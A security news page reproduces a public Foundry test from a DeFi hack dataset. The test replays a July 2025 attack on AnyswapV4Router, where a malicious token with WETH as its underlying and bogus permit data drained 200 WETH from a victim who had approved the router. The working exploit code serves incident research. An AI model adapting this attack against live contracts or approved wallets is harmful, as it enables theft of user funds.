Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/AnyswapWETHPermit_exp.sol

Public reproduction file for dataset entry AnyswapWETHPermit.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/AnyswapWETHPermit_exp.sol126 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 200 WETH
8// Attacker : 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671
9// Attack Contract : 0xE08D97e151473A848C3d9CA3f323Cb720472D015
10// Vulnerable Contract : 0x6b7a87899490EcE95443e979cA9485CBE7E71522
11// Attack Tx : https://etherscan.io/tx/0xae79fdcfd7c36ed654d11b352b495340bd3cc47d0849c35ac6ffa1e4859098ec
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x6b7a87899490EcE95443e979cA9485CBE7E71522#code
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1582
18//
19// Attack summary: The attacker used AnyswapV4Router.anySwapOutUnderlyingWithPermit with a malicious
20// AnySwap-compatible token whose underlying was WETH. WETH does not implement permit, but its fallback
21// accepts the call, so the router continued and transferred 200 WETH from a victim that had already
22// approved the router.
23// Root cause: The router trusted a successful permit call without confirming that the underlying token
24// actually enforced permit signatures.
26address constant ATTACKER = 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671;
27address constant ATTACK_CONTRACT = 0xE08D97e151473A848C3d9CA3f323Cb720472D015;
28address constant VULNERABLE_CONTRACT = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;
29address constant VICTIM = 0x4527106ae1A661A9D2Ffc22575baCdaaCb5e51e0;
30address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
32contract ContractTest is BaseTestWithBalanceLog {
33 AnyswapV4Router private constant router = AnyswapV4Router(VULNERABLE_CONTRACT);
34 WETH9 private constant weth = WETH9(WETH_TOKEN);
35 MaliciousAnyswapToken private maliciousToken;
37 function setUp() public {
38 uint256 forkBlock = 23_026_899;
39 vm.createSelectFork("mainnet", forkBlock);
41 fundingToken = WETH_TOKEN;
42 attacker = ATTACKER;
44 vm.label(ATTACKER, "Attacker");
45 vm.label(ATTACK_CONTRACT, "Historical attack contract");
46 vm.label(VULNERABLE_CONTRACT, "AnyswapV4Router");
47 vm.label(VICTIM, "Victim");
48 vm.label(WETH_TOKEN, "WETH");
50 maliciousToken = new MaliciousAnyswapToken(WETH_TOKEN, ATTACKER);
51 vm.label(address(maliciousToken), "Malicious AnySwap token");
52 }
54 function testExploit() public balanceLog {
55 uint256 stolenAmount = 200 ether;
57 // step 1: model the same-block victim WETH funding; the real max router allowance already exists.
58 vm.deal(VICTIM, stolenAmount);
59 vm.prank(VICTIM);
60 weth.deposit{value: stolenAmount}();
61 assertEq(weth.allowance(VICTIM, VULNERABLE_CONTRACT), type(uint256).max);
63 uint256 victimBefore = weth.balanceOf(VICTIM);
64 uint256 attackerBefore = weth.balanceOf(ATTACKER);
66 // step 2: call the verified router with dummy permit data; WETH fallback accepts the permit selector.
67 vm.startPrank(ATTACKER);
68 router.anySwapOutUnderlyingWithPermit(
69 VICTIM,
70 address(maliciousToken),
71 ATTACKER,
72 stolenAmount,
73 block.timestamp + 1,
74 0,
75 bytes32(0),
76 bytes32(0),
77 block.chainid
78 );
80 // step 3: the attacker-controlled token forwards the WETH it received from the router transferFrom.
81 maliciousToken.sweep(ATTACKER);
82 vm.stopPrank();
84 assertEq(weth.balanceOf(VICTIM), victimBefore - stolenAmount);
85 assertEq(weth.balanceOf(ATTACKER), attackerBefore + stolenAmount);
86 assertEq(weth.balanceOf(address(maliciousToken)), 0);
87 }
90contract MaliciousAnyswapToken {
91 WETH9 private immutable weth;
92 address private immutable owner;
94 constructor(
95 address underlyingToken,
96 address tokenOwner
97 ) {
98 weth = WETH9(underlyingToken);
99 owner = tokenOwner;
100 }
102 function underlying() external view returns (address) {
103 return address(weth);
104 }
106 function depositVault(
107 uint256 amount,
108 address
109 ) external pure returns (uint256) {
110 return amount;
111 }
113 function burn(
114 address,
115 uint256
116 ) external pure returns (bool) {
117 return true;
118 }
120 function sweep(
121 address to
122 ) external {
123 require(msg.sender == owner, "only owner");
124 weth.transfer(to, weth.balanceOf(address(this)));
125 }

Analysis

Dataset entry

Public Foundry test for “AnyswapWETHPermit” (2025-07-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc0ffeebabe5d496b2dde509f9fa189c25cf29671

  • Attack Contract

    0xe08d97e151473a848c3d9ca3f323cb720472d015

  • Vulnerable Contract

    0x6b7a87899490ece95443e979ca9485cbe7e71522

  • Attack Tx

    0xae79fdcfd7c36ed654d11b352b495340bd3cc47d0849c35ac6ffa1e4859098ec

File record

Name
AnyswapWETHPermit
Path
src/test/2025-07/AnyswapWETHPermit_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6f5d3e3bd12bc4eff889c65fac6ea67706ca3a4e
Language
Solidity
Size
127 lines
Date
2025-07-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/AnyswapWETHPermit_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6f5d3e3bd12bc4eff889c65fac6ea67706ca3a4e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.